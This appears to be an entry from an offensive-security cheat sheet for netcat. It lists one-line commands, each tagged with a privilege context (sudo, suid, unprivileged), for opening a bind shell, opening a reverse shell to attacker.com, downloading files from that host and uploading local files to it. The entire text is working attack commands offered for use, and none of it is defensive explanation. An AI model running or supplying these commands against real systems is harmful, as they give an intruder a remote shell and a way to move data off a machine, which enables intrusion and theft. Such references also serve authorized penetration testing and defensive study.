nc
Bind Shell
Context: sudo, suid, unprivileged
nc -l -p 12345 -e /bin/sh
Download
Context: sudo, suid, unprivileged
nc -l -p 12345 >/path/to/output-file
Context: sudo, suid, unprivileged
nc attacker.com 12345 >/path/to/output-file
Reverse Shell
Context: sudo, suid, unprivileged
nc -e /bin/sh attacker.com 12345
Upload
Context: sudo, suid, unprivileged
nc -l -p 12345 </path/to/input-file
Context: sudo, suid, unprivileged
nc attacker.com 12345 </path/to/input-file